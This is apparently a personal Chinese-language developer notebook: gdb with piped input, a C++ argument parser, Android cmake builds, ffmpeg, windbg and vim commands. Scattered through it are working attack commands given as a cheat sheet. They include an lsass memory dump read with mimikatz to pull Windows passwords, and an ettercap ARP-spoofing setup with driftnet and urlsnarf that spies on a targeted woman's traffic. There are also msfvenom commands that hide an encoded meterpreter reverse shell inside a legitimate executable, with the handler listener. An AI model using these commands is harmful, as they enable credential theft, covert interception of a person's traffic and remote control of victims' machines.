gdb调试有管道的命令行

以pcre2调试为例

1
2
3
4
5
6
7
8
9
#!/bin/sh
 
cd `pwd`/installed/bin
 
mkfifo /tmp/pcre
echo "<h1>hello</h1>" > /tmp/pcre &
 
gdb ./pcre2grep -ex 'b main' -ex 'r -o "<.*>" < /tmp/pcre'
rm /tmp/pcre

refer to:
http://www.voidcn.com/article/p-migwptlv-bsq.html

从cmdline解析出参数token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#include <string>
#include <vector>
#include <sstream>
 
using namespace std;
 
wstring copySpanStr(const wchar_t* start, const wchar_t* end)
{
	wchar_t* buf = (wchar_t*)malloc((end - start + 1) * sizeof(wchar_t));
	wchar_t* pTo = buf;
	for (const wchar_t* p = start; p != end; p++)
	{
		if (*p == L'\\' && p + 1 != end)
		{
			p++;
			*pTo++ = *p;
		}
		else
			*pTo++ = *p;
	}
	*pTo = 0;
	wstring out = buf;
	free(buf);
	return out;
}
 
int getParams(const wchar_t* str, vector<wstring>& out)
{
	int isInQMark = 0;
	int isInSpace = 1;
	const wchar_t* tokenStart = str;
	for (const wchar_t* p = str; ; p++)
	{
		if (*p == L'"')
		{
			if (!isInQMark)
			{
				isInQMark = 1;
				tokenStart = p + 1;
			}
			else
			{
				isInQMark = 0;
				out.push_back(copySpanStr(tokenStart, p));
			}
		}
		else if (*p == L'\\')
		{
			if (*(p + 1) != 0)
				p++;
		}
		else if (*p == L' ' || *p == 0)
		{
			if (!isInQMark)
			{
				if (!isInSpace)
				{
					isInSpace = 1;
					if (tokenStart != p)
					{
						out.push_back(copySpanStr(tokenStart, p));
						tokenStart = p;
					}
				}
				else
				{
 
				}
			}
		}
		else
		{
			if (!isInQMark)
			{
				if (!isInSpace)
				{
 
				}
				else
				{
					isInSpace = 0;
					tokenStart = p;
				}
			}
		}
		if (*p == 0)
			break;
	}
	return out.size();
}
 
wstring strReplaceCh2Str(const wchar_t* in, wchar_t fromCh, const wchar_t* toStr)
{
	const wchar_t* p = in;
	wstringstream ss;
	const wchar_t* pToStr;
	for (; *p != 0; p++)
	{
		if (*p == fromCh)
		{
			for (pToStr = toStr; *pToStr != 0; pToStr++)
			{
				ss << *pToStr;
			}
		}
		else
			ss << *p;
	}
	return ss.str();
}
 
int main()
{
	wstring path = strReplaceCh2Str(L"c:\\aa.txt", L'\\', L"\\\\");
	wstring msg = strReplaceCh2Str(L"\"优孩\"是EuhatExpert的中文名。", L'\"', L"\\\"");
 
	wstring cmd = L"EuhatExample.exe subCmd \"" + path + L"\" \"" + msg + L"\" 1234 5678";
 
	vector<wstring> params;
	getParams(cmd.c_str(), params);
	return 0;
}

android cmake命令行

ninja这个工具是google的cmake特有的一个工具,不能用CMake官网下载安装的cmake编译安卓程序。

1
2
3
4
5
6
7
8
9
10
set SDK_PATH=E:\euhat\android-sdk
set path=%SDK_PATH%\cmake\3.10.2.4988404\bin;%path%
 
cd app
mkdir manBuild
cd manBuild
 
cmake -DANDROID_ABI=armeabi-v7a -DANDROID_STL=c++_shared -DBUILD_SHARED_LIBS=ON -DCMAKE_C_FLAGS="-s" -DANDROID_PLATFORM=android-27 -DCMAKE_BUILD_TYPE=Debug -DANDROID_NDK=%SDK_PATH%\ndk-bundle -DCMAKE_TOOLCHAIN_FILE=%SDK_PATH%\ndk-bundle\build\cmake\android.toolchain.cmake -DCMAKE_GENERATOR=Ninja ..
 
ninja

refer to: https://bbs.csdn.net/topics/392257691?list=lz

ffmpeg命令收集

转码
ffmpeg.exe -i %1 -vcodec h264 -s 1920x1080 -g 10 output.avi

转格式
ffmpeg.exe -i %1 -vcodec copy output.avi

改码率
ffmpeg -i in.avi -b 512K out.mp4

改文件大小
ffmpeg -i input.avi -fs 10MB output.mp4

看GOP
ffprobe.exe -show_frames 62_g10.avi | grep key_frame > 62_g10_k.txt
ffprobe.exe -show_frames 62_g10.avi | grep pict_type > 62_g10.txt
ffprobe.exe -show_frames -of xml sample.mp4 > probe.xml

只允许67访问
iptables -I INPUT -p tcp --dport 22 -j DROP; iptables -I INPUT -s 192.168.1.67 -p tcp --dport 22 -j ACCEPT
iptables-save

ssh与redis
https://www.toutiao.com/a6649866429325640205/

深度强化学习
https://github.com/keon/deep-q-learning
https://www.toutiao.com/a6664790347987550733/

MFC子窗口和父窗口
https://www.cnblogs.com/BeyondTechnology/archive/2011/03/25/1995934.html

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
https://www.toutiao.com/a6674094119448478220/

基于文件过滤驱动的透明加密那点事儿
https://blog.csdn.net/orbit/article/details/9907335

1
2
3
4
5
6
#include <mcheck.h>
void mtrace(void);
void muntrace(void);
MALLOC_TRACE=out.log ./a.out
LD_DEBUG=help ./a.out
mtrace a.out out.log

https://blog.csdn.net/tsvico/article/details/79248788
echo 1 > /proc/sys/net/ipv4/ip_forward
zenmap
ettercap -G
女神的IP设置为目标1,路由器的IP设置为目标2
driftnet -i wlan0
urlsnarf -i wlan0
ufw disable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -x Depends.exe -f exe -o MyDepends2.exe
msfconsole
use exploits/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.69
run
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.37 lport=4444 -f exe -o shell_stageless.exe

bat脚本获取当前文件所在目录
https://blog.csdn.net/tsvico/article/details/78050884

windbg
SRV*c:\temp*http://msdl.microsoft.com/download/symbols
!analyze -v
.load wow64exts
!sw
!heap –x 00ca3480
ub 0118188e L20
~2 s
k
dv
x MyModule!MyClass*
dps 014cb558
dt /b this
s -d 0 L?80000000 0x00cd5740
dt 0029f8b8 impClass
s -u 10000 L8000000 "hello"
!address 0728988a
.writemem d:\dump.txt 07288600 L2000
kdbgctrl -db
kdbgctrl -e
kd -kl
.reload
dt _DRIVER_OBJECT
u nt!ZwOpenKey
!process 0 0
dt nt!_eprocess
!irpfind
!pcr

二进制编辑
vim -b datafile
:%!xxd
R
:%!xxd -r
isatap Teredo

ulimit -c unlimited
echo "/tmp/core-%e-%p" > /proc/sys/kernel/core_pattern

/verbose:lib